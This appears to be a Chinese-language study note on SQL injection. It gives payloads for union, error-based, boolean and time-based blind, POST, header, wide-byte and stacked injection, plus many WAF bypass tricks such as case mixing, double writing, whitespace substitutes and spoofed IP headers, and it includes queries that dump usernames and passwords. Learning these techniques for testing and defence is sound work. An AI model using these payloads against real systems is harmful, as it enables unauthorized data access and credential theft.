Sql注入
sql语法
show databases; //查看数据库
use [数据库库名];
show tables; //查看库中有几张表
select * from table1; //查看table1中所有数据
union 联合
//左边右边同时执行
select * from table1 where id = 1 union select 1,2,3;
//如果左边出错,就执行右边
select * from table1 where id = -1 union select 1,2,3;
select * from table1 where id = 'x' union select 1,2,3;
\转义字符:会把后面第一个字符当做字符串
x\' === 字符串x'
注释符 --空格 /**/ #
limit 限制
limit [从哪个开始][输出几个];
==注意!``反引号非常重要!!!以后写数据库语句的时候,最好用反引号,反引号修饰表名,列名==
get型注入步骤
1.推断数据库语法大概是什么
SELECT * FROM [某个表] WHERE id =[参数] limit 0,1;
2.让他报错,显示自己的闭合方式
SELECT * FROM [某个表] WHERE id='2\' limit 0,1;
//闭合方式有' " ') ") 或者没有闭合
3.验证目标的闭合方式
SELECT * FROM [某个表] WHERE id = '2' --+ ' limit 0,1;
如果闭合成功,闭合凡是你所想的
4.确定一下有多少个列
SELECT * FROM [某个表] WHERE id = '2' order by 3--+ limit 0,1;
不报错,所以有3列
5.使用联合查询,因为推断出有3列,所以union select1,2,3前面的参数必须出错,不然后面的1,2,3报错位显示不出来
?id=-2' union select 1,2,3--+
出现报错位,分别为2,3
6.开始刺探内部内容
?id=-2' union select 1,database(),3--+
输出数据库库名为security 还可以输出version(),user()
information_schema是自带的,相当于数据库户口本
information_schema的tables保存着所有数据库库名和表名的对应关系
information_schema的columns保存着库名–表名–列名所有对对应关系
输出表名
?id=-2' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+ 修改limit后面参数
还有一种是用group_concat
id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
7.查询表中的列
id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
8.联合内容
union select 1,group_concat(username),group_concat(password) from users --+
post注入
猜测源码
$u=$_POST['uname'];
$p=$_POST['passwd'];
select username,password from table1 where username=("$u") and password=("$p") limit 0,1;
select username,password from table1 where username=("\") and password=("") limit 0,1;
判断闭合方式
\' and password='' LIMIT 0,1;
select username,password from table1 where username='' or 1=1 limit 1,1# ' and password='$p'limit 0,1;
select username,password from table1 where username='admin' and 1=1#
select username,password from table1 where username='' union select 1,2# ' and password='$p' limit 0,1;
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
报错注入
select count(*) from table1; //计算多少条数据
select rand();//生成随机数
select floor(1.2); //向下取整,1.2会出来1
select floor(rand()*2); //生成0/1随机数
select floor(rand()*2)a; //取一个别名
select * from table1 group by id; //以id分组
select concat(1,2,3) //字符拼接
select password,count(*) as num from table1 group by password; //统计不同密码有多少个,统计数据命名为num,顺便对password进行分组
0x3a = :
select concat('haha',0x3a,'nihao');//输出haha:nihao
select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
//输出结果是 ::库名::
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
mysql官方说: rand函数每次出现都会重新计算一次
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
//group by a是按a排序,a里面只有0,1,并且随机 总有一天出现2个0,2个1,就会报错
实战:
id=1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b)--+
id=1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+
?id=1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+ //hex不用加任何东西
//简单高效的办法
' AND extractvalue(null,concat(0x7e,(select database()),0x7e))--+
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
盲注
布尔型
boolean True/False
不显示数据,也不显示数据库
小知识:
select database(); //数据库 库名
select length(database()); //库名的长度
select substr(database(),1,1); //从第一个字开始取1个并转换成ascii
select ascii(substr(database(),1,1))=104;
实战:
?id=1' and (select ascii(substr(database(),1,1))=115)--+
?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115) --+
布尔型时间盲注
界面上完全没有反应,但是你觉得可以注入
select sleep(5); //睡5s后输出0
select if((select datadase())="haha",sleep(5),null);//如果数据库名是haha,睡5s
id=2' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null)--+
实战:
id=2' and sleep(5)--+
id=2' and if((select database())="security",sleep(5),null)--+
id=2' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null)--+
post盲注
") or 1=1# //判断闭合方式
") or ("1") =("1 //用户名密码都写
select username,password from table1 where username=("") or ("1")=("1") and password=("") or ("1")=("1") limit 0,1;
布尔型盲注最好先猜出他们网站有什么用户名,以一个正确的用户名来当参照
admin") and (select database()='security')#
http头注入
(要在登录状态下)
会记录用户数据到数据库
insert into 'security'.'uagents'('uagent','ip_address','username') values('浏览器信息','172.0.0.1','admin');
referer = 来路信息(从哪个网站过来)
cookie 平行越权
admin" and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
waf
过滤–
select * from users where id ='1' limit 0,1;
屏蔽and or
但凡侦测到,直接替换为空
$url1=urldecode($url)
$url2=replace($url1)
replace('or','')
应对方法:
/*!or*/
(嵌套) aandnd
(替换) & ||
转url编码%26
屏蔽and or 空格 \ –+ # /**/
空格代替品
%09 水平tab键
%0a 新建一行
%0c 新建一页
%0d return功能
%0b 垂直tab键
%a0 空格
(不用空格)
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat((table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
宽字节注入
mysql用gbk编码,把两个字符当做一个汉字存在,%df吃掉了\,因为urlencode(\‘)=%5c%27,如果前面加上一个%df,%df%5c是一个汉字,%27会独立出来,恢复’功能(用unicode编码就不会出现这个问题)
很重要!
在post情况下的宽字节注入,得直接在burp的post数据包中修改,因为前端提交的时候和直接在数据包中修改,前端的不会变成中文
奇淫巧技
1.大小写绕过
Union SeleCT
2.双写绕过
union selselectect
3.编码绕过
‘scurity’ = 0x73637572697479
4.注释符
uni/**/on sel/**/ect
5.空格绕过
看上面
6.or and绕过
and == &&
or == ||
7.内联函数
/*!select*/ 1,2,3
8.<>绕过
uni<>on
9.屏蔽逗号
select substr(‘security’,1,3)
select substr(‘security’ from 1 for 3)
union select 1,2,3
union select * from (select 1)a join (select 2)b join(select 3)c
limit 0,1 == limit 0 offset 1
10.sleep屏蔽
and sleep(1) == and benchmark(1000000000,1)
11.group_concat屏蔽
select group_concat(‘x’,’y’) == select group_ws(‘’,’x’,’y’)
12.=屏蔽
使用like rlike regexp <>
id=1’ or ‘1’ like ‘1
13.POST屏蔽#
考虑使用– a大部分情况可以当做#用
uname=admin – a&passwd=admin
14.特殊符号过waf
/*!50001 select * from users*/
ps:这里的50001=如果数据库版本是5.00.01以上的版本,这个语句才会被执行
15.ip地址拦截
放在burp的数据包中的
x-forward-for
x-remote-ip
x-originating-ip
x-remote-addr
x-real-ip
16.修改资源
堆叠注入
?id=1'insert into users(username,pasword)values('zs','123456')--